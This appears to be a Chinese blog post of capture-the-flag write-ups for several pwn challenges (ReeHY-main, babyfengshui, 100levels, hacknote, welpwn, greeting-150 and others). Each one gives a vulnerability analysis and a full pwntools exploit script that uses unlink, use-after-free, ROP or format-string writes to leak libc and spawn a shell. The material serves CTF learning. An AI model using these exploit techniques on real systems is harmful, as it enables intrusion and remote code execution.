攻防世界-pwn-高手进阶区-part2

之前为了做堆的题目,做了一堆栈的题目

现在做到堆的题目我不会做了

4-ReeHY-main-100

分析

这题可以的操作有点多

然后我对堆又不太熟

那就只能先看看dalao们的题解了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 delete()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

puts("Chose one to dele");
result = getnum();
v1 = result;
if ( (signed int)result <= 4 )
{
free(*((void **)&unk_6020E0 + 2 * (signed int)result));
dword_6020E8[4 * v1] = 0;
puts("dele success!");
result = (unsigned int)(dword_6020AC-- - 1);
}
return result;

delete函数中,程序对输入的index没有进行过滤,因此可以输入负数将前面的chunk释放

1565317638518
1565317638518
1565317802326
1565317802326

这个chunk保存了用户创建的chunksizefree之后,再次malloc即可对分配的chunk的size进行操作

之后可以在chunk0中构造一个Fake_Chunk

chunk0的原内容

1565320990293
1565320990293

chunk0中写入一个FAKE_chunk

1565321054088
1565321054088

然后free(1)触发unlink,将0x6020E0引入堆中

1565321644826
1565321644826

然后就基本操作了

排雷

这题的环境有问题,天大的问题

这题目扒下来的时候连出题人给的libc一起扒下来了,然后他们重新搭建平台的使用又是直接用的ubuntu16.04吧~

所以下面的exp,几乎所有地址都是动态从libc读出来的,本地成功以后切换到ctflibc.so.6打远程反而失败了,然后我用的本地的libc.so.6又成功了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.log_level = 'debug'

# p = process('./4-ReeHY-main')
p = remote()
elf = ELF('./4-ReeHY-main')
# libc = ELF('ctflibc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


puts_offset = libc.symbols['puts']
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

def create(size,index,content):
p.sendlineafter('$','1')
p.sendlineafter('size',str(size))
p.sendlineafter('cun',str(index))
p.sendlineafter('content',content)

def delete(index):
p.sendlineafter('$','2')
p.sendlineafter('to dele',str(index))

def edit(index,content):
p.sendlineafter('$','3')
p.sendlineafter('to edit',str(index))
p.sendafter('content',content)

p.sendlineafter('name:','wh4lter')

create(0x80,0,'A'*8)
create(0x80,1,'B'*8)


delete(-2)
payload1 = p32(0x100)+p32(0x80)+p32(0)+p32(0)
create(0x10,2,payload1)#overwrite the sizes of chunks recorded

fd = 0x6020e0-0x18
bk = 0x6020e0-0x10
payload2 = p64(0)+p64(0x81)+p64(fd)+p64(bk)+'A'*0x60+p64(0x80)+p64(0x90)
edit(0,payload2)

delete(1)

payload3 = p64(0)+p64(0)+p64(0)+p64(free_got)+p64(1)+p64(puts_got)+p64(1)+p64(atoi_got)+p64(1)

edit(0,payload3)

edit(0,p64(puts_plt))

delete(1)
puts_addr = u64(p.recvuntil('dele success')[1:-13].ljust(8,'\x00'))
success("puts_address:"+hex(puts_addr))

libc.address = puts_addr - puts_offset
success('libc base'+hex(libc.address))
system_addr = libc.symbols['system']
success('system:'+hex(system_addr))

edit(2,p64(system_addr))
p.sendafter('$','/bin/sh\x00')

p.interactive()

比较传统一点(不用free(-2))的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context.log_level = 'debug'

p = process('./4-ReeHY-main')
elf = ELF('./4-ReeHY-main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_offset = libc.symbols['puts']
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
fd = 0x602100-0x18
bk = 0x602100-0x10

def create(size,index,content):
p.sendlineafter('$','1')
p.sendlineafter('size',str(size))
p.sendlineafter('cun',str(index))
p.sendafter('content',content)

def delete(index):
p.sendlineafter('$','2')
p.sendlineafter('to dele',str(index))

def edit(index,content):
p.sendlineafter('$','3')
p.sendlineafter('to edit',str(index))
p.sendafter('content',content)

p.sendlineafter('name:','wh4lter')

create(0x20,'0','/bin/sh\x00')
create(0x80,2,'B'*8)
create(0x80,1,'C'*8)

delete(2)
delete(1)

p_addr = 0x602100
payload1 = p64(0)+p64(0x81)+p64(fd)+p64(bk)+'A'*(0x80-0x20)+p64(0x80)+p64(0x90)
create(0x80*2+0x10,2,payload1)
delete(1)

payload2 = p64(0)+p64(free_got)+p64(1)+p64(puts_got)+p64(1)+p64(atoi_got)+p64(1)
edit(2,payload2)
edit(1,p64(puts_plt))
delete(2)
p.recvline()
puts_addr = u64(p.recvline(keepends=False).ljust(8,'\x00'))
success('puts_address:'+hex(puts_addr))
libc.address = puts_addr - puts_offset
success('libc base'+hex(libc.address))
system_addr = libc.symbols['system']
success('system:'+hex(system_addr))

edit(1,p64(system_addr))
delete(0)

p.interactive()

参考

https://bbs.pediy.com/thread-218395.htm

https://www.cnblogs.com/xingzherufeng/p/9885860.html

Aul

分析

输入help的话,可以打印出程序的binary

1565488811575
1565488811575

但是不太懂怎么反编译,就暂时参考了一下网上的writeup

https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/pwn/aul-100

一方面对打印出来的binary需要进行一些操作才能反编译

另一方面,可以通过别的指令直接打印出源码,以及直接get flag。

1
2
io.write("Hello world, from ",_VERSION,"!\n")
os.execute("cat server.lua")

exp

1
os.execute("/bin/sh")

babyfengshui

分析

add功能会创建两个块

1
2
s = malloc(size);                             // description
v2 = malloc(0x80u); // user

草图:

1565578644906
1565578644906

通常情况下,description块与user块是相连的

update中有一个check防止堆溢出

1
length + *(_DWORD *)ptr[index]) >= (char *)ptr[index] - 4

check的原意应该是判断textlength是否会超过description,一般情况下也就是user的起始。但是,只要将descriptionuser分离,那么意味着update操作可以修改两个块之间夹着的任何内容

举个例子

1
2
3
4
add(size) #description0
add(size) #description1
delete(0)
add(larger_than_size)

如此一来new_description可以分配到description0的原空间,但user0的原空间不够分配给new_user,所以会分配到user1之后的新空间中

极致草图:

1565580931730
1565580931730

delete(0);add(larger_than_size)之后

1565590732380
1565590732380

然后可以通过覆盖addr_description1free_got从而打印出free的地址

再之后通过updatefree_got的值改写为system_address

然后通过delete操作触发

排雷

不得不说,攻防世界的pwn一律推荐使用LibcSearcher等工具识别libc版本

本地的libc.so.6利用成功了之后,换成远程失败

题目压缩包给的libc.so.6与本地的libc.so.6还不一样,本地利用失败

然后用LibcSearcher识别的版本是libc-2.23

1565593241383
1565593241383

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p = process('./babyfengshui')
p = remote()
elf = ELF('./babyfengshui')

def add(size,name,length,text):
p.sendlineafter('Action:','0')
p.sendlineafter('size of description:',str(size))
p.sendlineafter('name:',name)
p.sendlineafter('text length:',str(length))
p.sendlineafter('text:',text)

def delete(index):
p.sendlineafter('Action:','1')
p.sendlineafter('index:',str(index))

def display(index):
p.sendlineafter('Action:','2')
p.sendlineafter('index:',str(index))

def update(index,length,text):
p.sendlineafter('Action:','3')
p.sendlineafter('index:',str(index))
p.sendlineafter('text length:',str(length))
p.sendlineafter('text:',text)

add(0x80,'A'*0x10,0x10,'a'*0x10)
add(0x80,'B'*0x10,0x10,'b'*0x10)
delete(0)
add(0xa0,'C'*0x10,0x10,'c'*0x10)
add(0x80,'B'*0x10,0x10,'/bin/sh\x00')

free_got = elf.got['free']
update(2,0x80+0x88+0x88+0x20,'D'*0x198+p32(free_got))
display(1)
p.recvuntil('on: ')
free_addr = u32(p.recv(4))
success('free_address:'+hex(free_addr))
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
success('system_address:'+hex(system_addr))

update(1,4,p32(system_addr))

delete(3)
p.interactive()

1000levevls

这道题到底叫什么

另外,参考了一下西北之光的博客,妙啊

分析

hint函数和go函数共享栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:0000000000000B94 go              proc near               ; CODE XREF: main+51↓p
.text:0000000000000B94
.text:0000000000000B94 var_120 = qword ptr -120h
.text:0000000000000B94 var_118 = dword ptr -118h
.text:0000000000000B94 var_114 = dword ptr -114h
.text:0000000000000B94 var_110 = qword ptr -110h
.text:0000000000000B94 var_108 = qword ptr -108h
.text:0000000000000B94
.text:0000000000000B94 ; __unwind {
.text:0000000000000B94 push rbp
.text:0000000000000B95 mov rbp, rsp
.text:0000000000000B98 sub rsp, 120h
.text:0000000000000B9F lea rdi, aHowManyLevels ; "How many levels?"
.text:0000000000000BA6 call _puts
.text:0000000000000BAB call get_num
.text:0000000000000BB0 mov [rbp+var_120], rax
.text:0000000000000BB7 mov rax, [rbp+var_120]
.text:0000000000000BBE test rax, rax
.text:0000000000000BC1 jg short loc_BD1
.text:0000000000000BC3 lea rdi, aCoward ; "Coward"
.text:0000000000000BCA call _puts
.text:0000000000000BCF jmp short loc_BDF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0000000000000D06 hint            proc near               ; CODE XREF: main:loc_F9F↓p
.text:0000000000000D06
.text:0000000000000D06 var_110 = qword ptr -110h
.text:0000000000000D06 anonymous_0 = dword ptr -100h
.text:0000000000000D06 anonymous_1 = word ptr -0FCh
.text:0000000000000D06
.text:0000000000000D06 ; __unwind {
.text:0000000000000D06 push rbp
.text:0000000000000D07 mov rbp, rsp
.text:0000000000000D0A sub rsp, 110h
.text:0000000000000D11 mov rax, cs:system_ptr
.text:0000000000000D18 mov [rbp+var_110], rax
.text:0000000000000D1F lea rax, unk_20208C
.text:0000000000000D26 mov eax, [rax]
.text:0000000000000D28 test eax, eax
.text:0000000000000D2A jz short loc_D57
.text:0000000000000D2C mov rax, [rbp+var_110]
.text:0000000000000D33 lea rdx, [rbp+var_110]
.text:0000000000000D3A lea rcx, [rdx+8]
.text:0000000000000D3E mov rdx, rax
.text:0000000000000D41 lea rsi, aHintP ; "Hint: %p\n"
.text:0000000000000D48 mov rdi, rcx ; s
.text:0000000000000D4B mov eax, 0
.text:0000000000000D50 call _sprintf
.text:0000000000000D55 jmp short loc_D7C

这里看汇编比较清楚

可以看到hint函数将system_ptr保存在rbp-0x110

而与此同时这个位置在go函数中保存了v5,v6

1
2
3
4
5
6
7
8
9
puts("How many levels?");
v2 = get_num();
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = get_num();
v6 = v5 + v3;

v5v6是有方法保持数值不变的

那么system_ptr就可以一直保留在栈中,那可再进一步,直接将其修改成one_gadget地址。

通过计算system_offsetone_gadget的差值即可通过Any more?的输入修改system_ptrone_gadget

然后利用vsyscall作为一个slide,滑到one_gadget就能成功pwn

感觉有必要另起一篇学习一下vsyscall

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = 'debug'
#p = process('./100levels')
p = remote()
libc = ELF('./libc.so')

one_gadget = 0x4526a
system_offset = libc.symbols['system']
vsyscall_addr = 0xffffffffff600000

p.sendlineafter('Choice:','2')
p.sendlineafter('Choice:','1')
p.sendlineafter('levels?','-1')
p.sendlineafter('',str(one_gadget-system_offset))
#question
for i in range(99):
p.recvuntil("Question: ")
v9 = int(p.recvuntil(" ")[:-1])
p.recvuntil("* ")
v10 = int(p.recvuntil(" ")[:-1])
p.sendlineafter("Answer:", str(v9 * v10))
payload = 'A' * (0x30+8)+p64(vsyscall_addr) *3
p.sendafter("Answer:",payload)
p.interactive()

参考

https://sp4rta.github.io/2019/04/18/2017%203rd-BCTF%20100levels/

http://blog.eonew.cn/archives/968

pwn-200

分析

sub_8048484函数中read存在栈溢出,通过write泄露libc地址,然后构造调用system("/bin/sh")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

# p = process('./pwn-200')
p = remote()
elf = ELF('./pwn-200')
ret_addr = 0x08048484
write_plt = elf.plt['write']
read_got = elf.got['read']
payload = 'A'*0x70+p32(write_plt)+p32(ret_addr)+p32(1)+p32(read_got)+p32(4)
p.sendlineafter('Welcome to XDCTF2015~!',payload)
p.recvline()
read_addr = u32(p.recv(4))
success('read_address:'+hex(read_addr))

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

success('system_address:'+hex(system_addr))
success('binsh_address:'+hex(binsh_addr))
payload2 = 'A'*0x70+p32(system_addr)+'A"*4'+p32(binsh_addr)
p.sendline(payload2)
p.interactive()

hacknote

1565784981616
1565784981616

真的可以不给ELF吗

分析

程序提供了4个选项

1
2
3
4
5
6
7
8
9
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

delete函数中,释放chunk后没有清零指针

add函数中,程序会先创建一个size=8的chunk_0用于存放指针,再创建一个size=$size的chunk_1用于存放content,然后会将puts指针存入chunk_0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}

unsigned int add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

print函数中,程序直接调用这一puts指针执行打印操作

1
2
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);

所以可以考虑覆盖putssystem来构造syste("/bin/sh")

所以可以进行如下操作:

1
2
3
4
5
add(16)
add(16)
delete(0)
delete(1)
add(8)

如此一来,在add(8)时chunk_1会被分配到第一个add(16)的chunk_0处

从而可以控制*ptr[v1](ptr[v1])

然后是system执行指令的问题,首先空间不够大,其次指针不是指向刚好开头的

所以这里可以用||sh

这样就可以避免前半段执行system(&system)直接down

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = 'debug'

p = process('./hacknote')
# p =remote()
elf = ELF('./hacknote')
# libc = ELF('./libc_32.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def add_note(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',content)

def delete_note(index):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))

def print_note(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(index))

add_note(0x20,'A'*8)
add_note(0x20,'B'*8)
delete_note(0)
delete_note(1)
func = 0x0804862b
payload1 = p32(func)+p32(puts_got)
add_note(8,payload1)
print_note(0)
puts_addr = u32(p.recv(4))
success('puts_address:'+hex(puts_addr))
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
success('system_address:'+hex(system_addr))

delete_note(2)
payload2 = p32(system_addr)+"||$0"
add_note(8,payload2)
print_note(0)
p.interactive()

welpwn

分析

read函数可以在buf中写入0x400字节,但echo函数中只给了其0x10字节的长度

1
2
read(0, &buf, 0x400uLL);
echo((__int64)&buf);

因为echo函数中栈空间为0x20,所以可以通过pop|pop|pop|pop|ret来调到main函数的栈空间上执行ROP

之后可以通过构造ROP打印出puts函数地址从而推算libc基址

然后用one_gadget直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = 'debug'

p = remote()
elf = ELF('./welpwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main_addr = 0x4007cd
ppppret = 0x000000000040089c
pdiret = 0x00000000004008a3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
write_got = elf.got['write']

payload1 = 'A'*0x18+p64(ppppret)+p64(pdiret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendafter('Welcome to RCTF',payload1)
p.recvuntil('A'*0x18+'\x9c\x08\x40')
puts_addr = u64(p.recvline(keepends=False).ljust(8,'\x00'))
success("puts:"+hex(puts_addr))

payload2 = 'A'*0x18+p64(ppppret)+p64(pdiret)+p64(write_got)+p64(puts_plt)+p64(main_addr)
p.send(payload2)
p.recvuntil('A'*0x18+'\x9c\x08\x40')
write_addr = u64(p.recvline(keepends=False).ljust(8,'\x00'))
success("write:"+hex(write_addr))

libc.address = puts_addr - libc.symbols['puts']
onegadget = libc.address + 0x4526a

payload3 = 'A'*0x18 + p64(onegadget)
p.send(payload3)
p.interactive()

总结

这里没有预先给libc,所以使用one_gadget还是应该用LibcSearcher获取到libc版本。

上文的exp里面我多写了一块没有必要的泄露write函数地址的代码。其实我本地执行的时候是不需要这一段代码的,但是remote执行脚本的时候,泄露出puts函数地址后直接使用one_gadget不能getshell,但是加上这段以后竟然成功了

greeting-150

分析

很明显的一个格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]

v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 0x40) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);
}

程序中有一个nao函数

1
2
3
4
5
6
int nao()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
return system("echo \"Hello, I'm nao\"!");
}

大致思路是,将strlen@got改成system@plt,同时更改栈中的返回地址,使程序跳转回main函数开头重新运行,运行到getnline中时输入"/bin/sh"触发strlen("/bin/sh")实际运行system("/bin/sh")

因为程序中已经调用过了strlen,因而strlen@got中保存着的不是strlen@plt而是strlen函数的物理地址,因而在此将其直接覆盖成system@plt

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = 'debug'
# p = process('./greeting-150')
p = remote('111.198.29.45',35919)
#main_addr = 0x080485ED
#__do_global_dtors_aux addr = 0x080485A0
fini_addr = 0x08049934
strlen_got=0x08049A54
#system_plt0x08048490

payload = 'BB'+p32(fini_addr)+p32(strlen_got)+p32(strlen_got+2)
payload += "%.{}x".format(0xed-len(payload)-0x12)+'%12$hhn'
payload += "%.{}x".format(0x8490-0xed)+'%13$hn'
payload += "%.{}x".format(0x10000+0x0804-0x8490)+'%14$hn'

p.sendlineafter('Please tell me your name...',payload)
p.sendlineafter('Please tell me your name...',"/bin/sh")
p.interactive()